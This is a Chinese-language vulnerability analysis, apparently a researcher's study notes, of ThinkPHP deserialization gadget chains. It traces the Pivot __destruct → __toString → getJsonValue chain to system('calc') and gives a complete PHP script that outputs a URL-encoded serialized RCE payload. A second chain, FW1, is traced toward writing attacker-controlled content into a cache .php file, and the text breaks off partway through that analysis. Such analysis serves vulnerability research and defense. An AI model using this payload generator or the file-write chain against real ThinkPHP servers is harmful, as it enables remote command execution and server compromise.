    think\model\Pivot->__toString(): string // ✅ 魔术方法入口
    └── toJson(int $options = JSON_UNESCAPED_UNICODE): string
    └── toArray(): array
    └── $data = array_merge($this->data, $this->relation) // ✅ $this->relation = [],合并后仍为 $this->data
    └── foreach ($data as $key => $val) // ✅ $this->data = ['key' => ['key' => 'calc']]
    └── if (!isset($this->hidden[$key]) && !$hasVisible) // ✅ hidden = [],hasVisible = false,进入判断
    └── getAttr($key = "key")
    └── getData(string $name = "key")
    └── $fieldName = $this->getRealFieldName("key") // ✅ strict = true 且无驼峰转换,返回 "key"
    └── if (array_key_exists("key", $this->data)) // ✅ 命中
    └── return $this->data["key"] = ["key" => "calc"]
    └── getValue(string $name = "key", mixed $value = ["key" => "calc"], bool $relation = false)
    └── $fieldName = $this->getRealFieldName("key") // ✅ 返回 "key"
    └── if (isset($this->withAttr["key"])) // ✅ 存在
    └── if (in_array("key", $this->json)) // ✅ json = ["key"]
    └── if ($this->jsonAssoc) // ✅ jsonAssoc = true
    └── getJsonValue($name = "key", $value = ["key" => "calc"])
    └── foreach ($this->withAttr["key"] as $k => $closure) // ✅ $this->withAttr["key"] = ["key" => "system"]
    └── $value[$k] = $closure($value[$k], $value) // ✅ 等价于 system("calc") 命令执行点

调用链分析

首先在 think\model\Pivot__destruct 方法中,如果 Pivot->lazySavetrue 则会调用到 Pivot->save 方法。

1
2
3
4
5
6
7
8
9
10
/**
* 析构方法
* @access public
*/
public function __destruct()
{
if ($this->lazySave) { // ✅ $this->lazySave = true 进入判断
$this->save(); // 👈 调用 $this->save
}
}

Pivot->lazySave 函数可以调用到 Pivot->updateData 函数,不过在此之前需要绕过几个判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 保存当前数据对象
* @access public
* @param array $data 数据 = []
* @param string $sequence 自增序列名 = null
* @return bool
*/
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data); // ✅ $data = [] 意味着这个函数什么也没做

if ($this->isEmpty() || // this->data 非空导致 isEmpty 返回 false
false === $this->trigger('BeforeWrite')) { // $this->withEvent = false => trigger 返回 false
return false;
}

// 📌 $this->exists = true 调用 $this->updateData()
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

// [...]
}

首先是 Pivot->setAttrs ,由于我们调用 save 函数时没有传参,因此 save 函数采用默认参数,即 $data = [],因此 setAttrs 函数的参数 $data 为空数组,因此并没有执行什么逻辑就返回了。

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 通过修改器 批量设置数据对象值
* @access public
* @param array $data 数据 = []
* @return void
*/
public function setAttrs(array $data): void
{
// ❌ $data = [] 没有进入循环
foreach ($data as $key => $value) {
// [...]
}
}

然后就是下面这个判断,我们需要让判断中的两个条件都不满足。

1
2
3
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

首先 Pivot->isEmpty 要求 Pivot->data 不为空,这里我们随便填一个非空数组即可(这里必须是数组类型是因为后面 getChangedData 有返回值有类型声明)。

1
2
3
4
5
6
7
8
9
/**
* 判断模型是否为空
* @access public
* @return bool
*/
public function isEmpty(): bool
{
return empty($this->data);
}

而对于后面的 trigger 我们直接设置 $this->withEvent = false 即可绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 触发事件
* @access protected
* @param string $event 事件名
* @return bool
*/
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true; // ✅ $this->withEvent = false 导致函数返回 true
}
// [...]
}

最后我们设置 $this->exists = true 调用 $this->updateData

1
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

updateData 函数中,我们希望调用到 checkAllowFields,为此同样需要绕过一些判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function updateData(): bool
{
// ❌ $this->withEvent = false => $this->trigger 返回 true => 不进入判断
if (false === $this->trigger('BeforeUpdate')) {
return false;
}

$this->checkData(); // ✅ 空函数什么也不做

// ⚠️ 注意:
// 1. $this->force = true 确保返回 $this->data
// 2. $this->readonly 为空防止进入循环干扰
// 3. $this->data 类型必须为 array 确保通过返回值类型检测
$data = $this->getChangedData();

if (empty($data)) { // ❌ $data 为非空数组不进入判断
// [...]
}

// ❌ $this->autoWriteTimestamp 为空不进入判断
if ($this->autoWriteTimestamp && $this->updateTime) {
// [...]
}

// 检查允许字段
$allowFields = $this->checkAllowFields(); // 👈 调用 checkAllowFields 函数

// [...]
}

首先是 trigger 前面分析过了,可以返回 true 绕过。

1
2
3
4
// ❌ $this->withEvent = false => $this->trigger 返回 true => 不进入判断
if (false === $this->trigger('BeforeUpdate')) {
return false;
}

然后 $this->checkData() 是个空函数什么也没做。

之后是 getChangedData,这里我们可以通过设置 Pivot->force = true 使其直接返回 $this->data 即可。不过要注意的是 getChangedData 返回类型被声明为 array,这要求 $this->data 必须是数组类型的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* 获取变化的数据 并排除只读数据
* @access public
* @return array
*/
public function getChangedData(): array // 👈 返回值类型比如为 array
{
// 📌 $this->force = true => $data = $this->data
$data = $this->force ? $this->data : ...

// ❌ $this->readonly 为空,不进入循环
foreach ($this->readonly as $key => $field) {
// [...]
}

return $data; // 👈 返回 $this->data 确保类型为 array
}

再之后几个判断也很好绕过。$data 是来自 getChangedData 返回的 $this->data,前面已经有要求不为空了。然后 $this->autoWriteTimestam 默认为 false 也不会进入判断。之后就可以顺利调用到 checkAllowFields 函数了。

1
2
3
4
5
6
7
8
9
10
11
12
// $data 来自 getChangedData 返回的 $this->data 不为空
if (empty($data)) { // ❌ 不进入判断
// [...]
}

// ❌ $this->autoWriteTimestamp 为空不进入判断
if ($this->autoWriteTimestamp && $this->updateTime) {
// [...]
}

// 检查允许字段
$allowFields = $this->checkAllowFields(); // 👈 调用 checkAllowFields 函数

checkAllowFields 函数中我们希望调用到 db 函数。这就要求我们伪造 $this->field$this->schema 都为空。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* 检查数据是否允许写入
* @access protected
* @return array
*/
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) { // ✅ $this->field 为空进入 判断
if (!empty($this->schema)) { // ❌ $this->schema 为空进入 else
// [...]
} else {
$query = $this->db(); // 👈 调用 db 函数
// [...]
}
// [...]
}
// [...]
}

db 函数中首先调用的 connect 函数用于创建或切换数据库连接,但是由于第二个参数 $force 没有设置,默认不强制重连。因此 connect 函数能够正常执行过去,不会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* 获取当前模型的数据库查询对象
* @access public
* @param array $scope 设置不使用的全局查询范围
* @return Query
*/
public function db($scope = []): Query
{
// 这里并不关系 connect 函数逻辑,只要不报错就行
$query = self::$db->connect($this->connection)
// 📌 字符串操作触发 $this->name 的 __toString 函数调用
->name($this->name . $this->suffix)
->pk($this->pk);
// [...]
}

之后的 $this->name . $this->suffix 会调用到 $this->name__toString 方法。

之后和 RCE1 一样(RCE1 是通过 file_exists 触发的)我们可以调用 Pivot__toString 方法。

由于 Pivot 通过继承抽象类 ModelModel 使用了 think\model\concern\Conversionthink\model\concern\Attribute 这两个 trait,从而获得了这些方法:

  • Pivot->__toStringConversion->__toString

  • Pivot->getAttrAttribute->getAttr

因此首先会有 Conversion->__toString → Conversion->toJson → Conversion->toArray 调用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function __toString()
{
return $this->toJson();
}

/**
* 转换当前模型对象为JSON字符串
* @access public
* @param integer $options json参数
* @return string
*/
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}

toArray 方法最终会调用 Attribute->getAttr 方法,参数为 $this->data 中的其中一项的键,这里为 "key"。期间的几个判断只要我们让 Pivot 相关字段都保持默认值即可绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
* 转换当前模型对象为数组
* @access public
* @return array
*/
public function toArray(): array
{
$item = $visible = $hidden = [];
$hasVisible = false;

// ❌ $this->visible 为空不进入循环
foreach ($this->visible as $key => $val) {
// [...]
}

// ❌ $this->hidden 为空不进入循环
foreach ($this->hidden as $key => $val) {
// [...]
}

// ❌ $this->append 为空不进入循环
foreach ($this->append as $key => $name) {
// [...]
}

// 合并 $this->data 和 $this->relation
// 由于 $this->relation 为空因此合并后还是 $this->data
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
// $val 是数组且 $visible,$hidden 为空且 $hasVisible 为 false
// 📌 因此只会进入最后一个分支
if ($val instanceof Model || $val instanceof ModelCollection) {
// [...]
} elseif (isset($visible[$key])) {
// [...]
} elseif (!isset($hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key); // 👈 调用 Attribute->getAttr 方法
}

// [...]
}

// [...]
}

Attribute->getAttr 先调用 $this->getData 获取到 $value,然后调用 $this->getValue 函数并依次传入 $name = "key"$value$relation = false 三个参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* 获取器 获取数据对象的值
* @access public
* @param string $name 名称 = "key"
* @return mixed
* @throws InvalidArgumentException
*/
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
// [...]
}

return $this->getValue($name, $value, $relation);
}

getData 获取到的是 $this->data["key"] = ["key" => "calc"]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/**
* 获取实际的字段名
* @access protected
* @param string $name 字段名 = "key"
* @return string
*/
protected function getRealFieldName(string $name): string
{
// 虽然可以通过设置 $this 的部分字段避免 $name 被修改
// 但是这里我们设置 $name 为 "key" 不受转换的影响
if ($this->convertNameToCamel || !$this->strict) {
return Str::snake($name); // 驼峰转下划线
}

return $name;
}

/**
* 获取当前对象数据 如果不存在指定字段返回false
* @access public
* @param string $name 字段名 留空获取全部 = "key"
* @return mixed
* @throws InvalidArgumentException
*/
public function getData(string $name = null)
{
// ❌ $name 不为空,不进入判断
if (is_null($name)) {
return $this->data;
}

// 我们设置的 name = "key" 不受 getRealFieldName 的影响
$fieldName = $this->getRealFieldName($name);

// 使用 $this->data 和 $this->relation 都行
// 前面遍历键值对的 $data 也来自这两个数组成员合并的结果
// 这里我们使用的是 $this->data
if (array_key_exists($fieldName, $this->data)) {
// 📌 返回的是 $this->data["key"] = ["key" => "calc"]
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

getValue 函数中虽然有一个闭包函数的调用,但是限制限制 $closureClosure 的实例,因此不能实现任意方法调用。因此我们走另一个分支调用 getJsonValue 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/**
* 获取经过获取器处理后的数据对象的值
* @access protected
* @param string $name 字段名称 = "key"
* @param mixed $value 字段值 = ["key" => "calc"]
* @param bool|string $relation 是否为关联属性或者关联名 = false
* @return mixed
* @throws InvalidArgumentException
*/
protected function getValue(string $name, $value, $relation = false)
{
// ✅ 和 getData 里的一样,我们设置的 name = "key" 不受 getRealFieldName 的影响
$fieldName = $this->getRealFieldName($name);

// ❌ $this->get 为空,不进入判断
if (array_key_exists($fieldName, $this->get)) {
return $this->get[$fieldName];
}

// [...]
if (isset($this->withAttr[$fieldName])) {
if ($relation) { // ❌ $relation 为 false,不进入判断
// [...]
}

// $fieldName ="key",$this->json = ["key"],$this->withAttr["key"] = ["key" => "system"]
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
// ✅ 调用 getJsonValue 函数
// $fieldName ="key",$value = ["key" => "calc"]
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
// ❌ 限制 $closure 为 Closure 的实例不能实现任意方法调用
if ($closure instanceof \Closure) {
$value = $closure($value, $this->data);
}
}
}
// [...]
}

getJsonValue 同样存在闭包函数的调用,并且两处闭包调用都是可行的。这里我们采用其中一个即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* 获取JSON字段属性值
* @access protected
* @param string $name 属性名 = "key"
* @param mixed $value JSON数据 = ["key" => "calc"]
* @return mixed
*/
protected function getJsonValue($name, $value)
{
// ❌ $value 携带参数,因此不为空
if (is_null($value)) {
return $value;
}

// $this->withAttr = ["key" => ["key" => "system"]]
// $this->withAttr[$name] = ["key" => "system"]
// $key = "key", $closure = "calc"
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
// 需要设置:
// $this->jsonAssoc = true;
// $this->data = ["key" => ["key" => "calc"]];
$value[$key] = $closure($value[$key], $value);
} else {
// 需要设置:
// $this->data["key"] = stdClass();
// $this->data["key"]->key = "calc";
$value->$key = $closure($value->$key, $value);
}
}

return $value;
}

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

namespace think\model\concern {
trait Attribute
{
private $data, $withAttr;
protected $json, $jsonAssoc;
}

trait ModelEvent
{
protected $withEvent;
}
}

namespace think {
abstract class Model
{
use \think\model\concern\Attribute;
use \think\model\concern\ModelEvent;

private $exists, $force, $lazySave, $data, $withAttr;
protected $suffix, $json, $jsonAssoc;

function __construct($depth, $func, $param)
{
if ($depth == 0) {
unset($this->jsonAssoc);
unset($this->withAttr);
unset($this->json);

$this->data = [0];
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = new \think\model\Pivot(1, $func, $param);
} else {
unset($this->lazySave);
unset($this->suffix);
unset($this->force);
unset($this->exists);
unset($this->exists);
unset($this->withEvent);

$this->jsonAssoc = true;
$this->withAttr = ["key" => ["key" => $func]];
$this->data = ["key" => ["key" => $param]];
$this->json = ["key"];
}
}
}
}

namespace think\model {

use \think\Model;

class Pivot extends Model
{
}
}

namespace {
$payload = new \think\model\Pivot(0, "system", "calc");
echo urlencode(serialize($payload));
}

FW1(影响 5.0.4 - 5.0.24)

基本信息

  • 影响范围 :5.0.4 - 5.0.24

  • 生成命令

    1
      
  • 反序列化对象

    TPFW1

  • 反序列化调用链

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    think\Process->__destruct()
    └── stop(): int
    ├── if ($this->isRunning()) // ❌ $this->status = STATUS_READY,返回 false,不进入
    │ └── isRunning(): bool
    │ ├── if (self::STATUS_STARTED !== $this->status) // ✅ 默认 status = "ready"
    │ │ └── return false // ✅ 直接返回
    │ └── // ❌ 不进入后续判断
    ├── $this->updateStatus(false)
    │ └── updateStatus(bool $blocking): void
    │ ├── if (self::STATUS_STARTED !== $this->status) // ✅ status = "ready"
    │ │ └── return; // ✅ 直接返回
    │ └── // ❌ 不执行后续逻辑
    └── if ($this->processInformation['running']) // ✅ = true,进入分支
    └── close(): int
    └── $this->processPipes->close()
    // $processPipes = HasMany 对象,没有 close 方法,触发 __call 魔术方法

    think\model\relation\HasMany::__call(string $method = "close", array $args = [])
    └── if ($this->query) // ✅ query 不为空,进入
    └── baseQuery(): void
    └── if (empty($this->baseQuery)) // ✅ baseQuery = null,进入
    └── if (isset($this->parent->{$this->localKey})) // ✅ 假设 parent.k 存在
    └── $this->query->where($this->foreignKey, $this->parent->{$this->localKey}) // ✅ $this->localKey = 'k', $this->parent->k 随便一个值,比如 0
    // $query 是 Output 对象,触发其 __call 魔术方法

    think\console\Output::__call(string $method = "where", array $args = ["file_content", 0])
    └── if (in_array($method, $this->styles)) // ✅ styles = ['where'],进入判断
    ├── array_unshift($args, $method) // ✅ $args = ['where', 'file_content', 0]
    └── call_user_func_array([$this, 'block'], $args = ['where', 'file_content', 0])
    └── block(style = "where", message = "file_content")
    └── writeln(messages = "<where>file_content</where>", type = 0)
    └── write(messages = "<where>file_content</where>", newline = true, type = 0)
    └── $this->handle->write(
    messages = "<where>file_content</where>",
    newline = true,
    type = 0
    )
    // handle = Memcache 对象,进入 write

    think\session\driver\Memcache::write(string $sessID = "<where>file_content</where>", string $sessData = true)
    └── $this->handler->set(
    $this->config['session_name'] . $sessID, // ✅ session_name = ''$name = "<where>file_content</where>"
    $sessData, // ✅ = true
    0, // 第三个参数 = 0
    $this->config['expire'] // ✅ 默认为 3600
    )
    // handler = Memcached 对象 → set()

    think\cache\driver\Memcached::set(string $name = "<where>file_content</where>", mixed $value = true, int $expire = 0)
    └── if ($this->tag && !$this->has($name)) == true // ✅ $tag = true 且缓存不存在
    └── has(string $name = "<where>file_content</where>"): bool
    ├── $key = $this->getCacheKey($name)
    │ └── getCacheKey(string $name): string
    │ └── return $this->options['prefix'] . $name = "<where>file_content</where>" // ✅ prefix = ''
    ├── $this->handler->get($key = "<where>file_content</where>")
    │ └── think\cache\driver\File::get(string $name = "<where>file_content</where>", mixed $default = false)
    │ ├── $filename = $this->getCacheKey($name, true)
    │ │ └── $filename = $this->options['path'] . md5($name) . ".php"
    │ ├── if (!is_file($filename)) == true // ✅ 文件不存在
    │ └── return false
    └── return false
    └── $first = true

    └── $key = $this->getCacheKey($name = "<where>file_content</where>") = "<where>file_content</where>"
    └── $expire = (0 == $expire) ? 0 : time() + $expire = 0

    // 📌 第一次写入(内容不可控)
    └── if ($this->handler->set($key = "<where>file_content</where>", $value = true, $expire = 0)) == true
    └── think\cache\driver\File::set(string $name = "<where>file_content</where>", mixed $value = true, int $expire = 0)
    │ ├── if (is_null($expire)) == false
    │ ├── if ($expire instanceof \DateTime) == false
    │ ├── $filename = $this->getCacheKey($name, true)
    │ │ └── getCacheKey(string $name, bool $auto = true): string
    │ │ ├── $name = md5($name)
    │ │ ├── if ($this->options['cache_subdir']) == false
    │ │ ├── if ($this->options['prefix']) == false
    │ │ ├── $filename = $this->options['path'] . $name . ".php"
    │ │ └── if ($auto && !is_dir(dirname($filename))) → mkdir($dir)
    │ ├── if ($this->tag && !is_file($filename)) == false // ✅ $this->tag = false,跳过,$first 未设置
    │ ├── $data = serialize(true) = 'b:1;'
    │ ├── if ($this->options['data_compress']) == false // ✅ 未启用压缩
    │ ├── $data = "<?php\n//000000000000\n exit();?>\n" . $data
    │ ├── $result = file_put_contents($filename, $data) // ✅ 第一次写入(内容不可控)
    │ └── if ($result) == true
    │ ├── if (isset($first)) // ❌ $first 未设置
    │ │ └── $this->setTagItem($filename) // ❌ 写入值为路径,不可控,不是利用点
    │ └── clearstatcache()
    │ └── return true

    // 📌 第二次写入(内容可控)来自上层 Memcached::set → setTagItem($key)
    └── if ($first) == true
    └── setTagItem(string $name = "<where>file_content</where>")
    ├── $key = "tag_" . md5($this->tag)
    ├── if (!$this->has($key)) == true
    │ └── $value = $name = "<where>file_content</where>" // ✅ 可控内容
    └── $this->set($key = "tag_xxx", $value = "<where>file_content</where>", $expire = 0)
    └── think\cache\driver\File::set(string $name = "tag_xxx", mixed $value = "<where>file_content</where>", int $expire = 0)
    ├── if (is_null($expire)) == false
    ├── if ($expire instanceof \DateTime) == false
    ├── $filename = $this->getCacheKey($name = "tag_xxx", true)
    │ └── $filename = $this->options['path'] . md5("tag_xxx") . ".php"
    ├── $data = serialize($value) = s:30:"<where>file_content</where>"; // ✅ 内容可控
    ├── if ($this->options['data_compress']) == false
    ├── $data = "<?php\n//000000000000\n exit();?>\n" . $data
    └── file_put_contents($filename, $data) // ✅ 第二次写入(内容可控)

调用链分析

think\Process->__destruct 函数会调用 stop 方法。

1
2
3
4
public function __destruct()
{
$this->stop();
}

stop 函数中间有很多判断和干扰逻辑但是我们只需要设置 think\Process->processInformation['running'] = true,然后 think\Process->status 为默认值就可以绕过。从而顺利调用到 close 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
const STATUS_READY      = 'ready';
const STATUS_STARTED = 'started';
private $status = self::STATUS_READY;

/**
* 检查是否正在运行
* @return bool
*/
public function isRunning()
{
// ✅ $this->status 默认是 self::STATUS_READY
// 不相等直接返回 false
if (self::STATUS_STARTED !== $this->status) {
return false;
}

// [...]
}

/**
* 更新状态
* @param bool $blocking
*/
protected function updateStatus($blocking)
{
// ✅ $this->status 默认是 self::STATUS_READY
// 不相等直接返回
if (self::STATUS_STARTED !== $this->status) {
return;
}

// [...]
}

/**
* 终止进程
*/
public function stop()
{
// ❌ $this->status 如果是默认值则不进入判断
if ($this->isRunning()) {
// [...]
}

// ✅ $this->status 如果是默认值则 updateStatus 不执行逻辑
$this->updateStatus(false);

// ✅ 设置 $this->processInformation['running'] = true
if ($this->processInformation['running']) {
$this->close(); // 👈 调用 close 函数
}

return $this->exitcode;
}

close 函数会调用 $this->processPipesclose 函数。

1
2
3
4
5
6
7
8
9
/**
* 关闭资源
* @return int 退出码
*/
private function close()
{
$this->processPipes->close();
// [...]
}

$this->processPipes 被我们设置为 think\model\relation\HasMany 对象,而该对象没有 close 方法,因此会调用 HasMany 的父类 Relation__call 函数。

__call 函数中,如果 $this->query 不为空则会调用 HasMany->baseQuery 方法。

1
2
3
4
5
6
7
8
9
public function __call($method, $args)
{
if ($this->query) { // ✅ $this->query 不为空,进入判断
// 执行基础查询
$this->baseQuery(); // 👈 调用 HasMany 的 baseQuery 方法
// [...]
}
// [...]
}

HasMany->baseQuery 中经过一些判断会调用 $this->query->where 方法。这里我们设置 $this->querythink\console\Output 对象,而 Output 没有 where 方法,因此会调用到 Output->__call 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function baseQuery()
{
if (empty($this->baseQuery)) { // ✅ $this->baseQuery 设置为空进入判断
// 设置 $this->localKey 为一个属性名,例如 'k'
// 设置 $this->parent 为任意一个对象,例如 stdClass
// 设置 $this->parent->{$this->localKey} 为一个非空值,例如 0
// ✅ 通过 isset 检查进入判断
if (isset($this->parent->{$this->localKey})) {
// $this->query 指向 think\console\Output 对象
// 📌 调用 Output->__call 方法,参数是:
// - $this->foreignKey:要写入的文件内容,例如 "file_content"
// - $this->parent->{$this->localKey}:随便设置的非空值,例如 0
$this->query->where($this->foreignKey, $this->parent->{$this->localKey});
}
$this->baseQuery = true;
}
}

和 RCE2 调用链一样,Output->__call 方法方法将 $method = 'where' 插入到参数列表头部之后就会调用自身的 block 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// $method = 'where', $args = ['file_content', 0]
public function __call($method, $args)
{
// 判断 $method 是否在 $this->styles 列表中
// ✅ 这里我们设置 $this->styles = ['where'] 从而进入判断
if (in_array($method, $this->styles)) {
// $method 插入到参数列表 $args 头部
// $args: ['file_content', 0] => ['where', 'file_content', 0]
array_unshift($args, $method);
// 📌 调用 Output->block 方法,参数是 ['where', 'file_content', 0]
// 不过 Output->block 接收 2 个参数,因此参数列表最后的元素被忽略
// 因此实际传参为 ['where', 'file_content']
return call_user_func_array([$this, 'block'], $args);
}
// [...]
}

随后是一条和 RCE2 一样的调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// $style = 'where', $message = 'file_content'
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}

/**
* 输出信息并换行
* @param string $messages = '<where>file_content</where>'
* @param int $type = self::OUTPUT_NORMAL = 0
*/
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}

/**
* 输出信息
* @param string $messages = '<where>file_content</where>'
* @param bool $newline = true
* @param int $type = self::OUTPUT_NORMAL = 0
*/
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}

由于 $this->handle 被我们设置为 think\session\driver\Memcache 对象,因此和 RCE2 一样,随后会调用该对象的 write 方法。在 write 方法中又会调用 this->handler->set 方法,其中 $this->handler 被设置为 think\cache\driver\Memcached 对象。

由于我们没有设置 Memcache$config 成员的值,因此在设置参数时使用的 $this->config 是类中定义的默认值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected $config  = [
'host' => '127.0.0.1', // memcache主机
'port' => 11211, // memcache端口
'expire' => 3600, // session有效期
'timeout' => 0, // 连接超时时间(单位:毫秒)
'persistent' => true, // 长连接
'session_name' => '', // memcache key前缀
];

/**
* 写入Session
* @access public
* @param string $sessID = '<where>file_content</where>'
* @param String $sessData = true
* @return bool
*/
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}

think\cache\driver\Memcachedset 方法是 ThinkPHP 缓存系统中的缓存写入函数,这个函数是 FW1 中最重要的一个函数。

如果我们将 think\cache\driver\Memcachedhandler 成员指向 think\cache\driver\File 对象并精心构造,那么我们可以先把这个函数的功能简单理解为一个文件写入函数,其中:

  • 将第 $this->handler->options['path'] 与一个参数 $name 的 MD5 与简单拼接后加上 .php 后缀作为文件名
  • 将第二个参数 $value 序列化后与其他数据简单拼接之后作为文件内容

然而当我们调用到 set 方法时,我们只能控制第一个参数,而第二个作为文件内容的参数不可控。因此我们还需要分析一下 set 的过程看一下有没有可以控制文件内容的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/**
* 写入缓存
* @access public
* @param string $name 缓存变量名 = '<where>file_content</where>'
* @param mixed $value 存储数据 = true
* @param integer|\DateTime $expire 有效时间(秒)= 0
* @return bool
*/
public function set($name, $value, $expire = null)
{
// ❌ $expire 不为 null,不进入判断
if (is_null($expire)) {
// [...]
}

// ❌ $expire 不是 DateTime 的实例,不进入判断
if ($expire instanceof \DateTime) {
// [...]
}

// 如果没有 $name 对应的缓存文件则 $this->has($name) 返回 false
// ✅ 因此进入判断设置 $first = true
if ($this->tag && !$this->has($name)) {
$first = true;
}

// 因为 $this->options['prefix'] = '' 所以 getCacheKey 直接返回 $name
// 因此这里等价于 $key = $name
$key = $this->getCacheKey($name);

// 0 == $expire 满足条件因此 $expire = 0
$expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;

// 📌 首先调用 $this->handler->set 第一次写入文件,此处文件内容不可控。
// $key = '<where>file_content</where>' 经过转换变为文件名
// $value = true 经过序列化和拼接等操作变成文件内容
if ($this->handler->set($key, $value, $expire)) {
// 由于前面设置 $first = true
// 因此调用 $this->setTagItem → $this->set 再次调用到这个函数
// 由于此时经过参数转换后文件内容作为第二个参数传入
// 📌 因此 $this->handler->set 完成第二次写入时文件内容可控
isset($first) && $this->setTagItem($key);
return true;
}
return false;
}

set 函数中真正进行文件写入操作是通过调用 $this->handler->set 完成的。当 handler 成员指向 think\cache\driver\File 对象时,对应的 $this->handler->set 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/**
* 写入缓存
* @access public
* @param string $name 缓存变量名
* @param mixed $value 存储数据
* @param integer|\DateTime $expire 有效时间(秒)
* @return boolean
*/
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
// 将 $name 转换成要保存的文件的路径,第二个参数表示是否创建目录
$filename = $this->getCacheKey($name, true);

// $this->tag = true 且文件不存在则表示第一次创建,$first = true
if ($this->tag && !is_file($filename)) {
$first = true;
}

// 将要写入的值 $value 序列化一下
$data = serialize($value);

// 如果 $this->options['data_compress'] = true 则会将数据压缩
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

// 将要写入的数据和一段 PHP 代码拼接
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

// 向 $filename 文件写入数据 $data
$result = file_put_contents($filename, $data);

// 如果成功写入数据
if ($result) {
// 如果是第一次写入则会调用 think\cache\Driver 的 setTagItem 方法更新标签
// 这个方法会调用 $this->set 函数再次进行文件写入
// 且此时第二个参数可以设置为这里传入的 $filename
// 言外之意就是我们可以通过这里的 $filename 控制写入内容
// 然而这里的 $filename 是要写入内容的 md5 拼接出来的,不可控
// 因此不会使用这里的调用点构造反序列化链,也就是 $this->tag = false
isset($first) && $this->setTagItem($filename);
clearstatcache(); // 更新文件缓存
return true;
} else {
return false;
}
}

$this->handler->set 函数首先会对 $expire 做一些判断和转换,但是由于我们传入的是数字,因此实际上并没有什么变化。

1
2
3
4
5
6
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
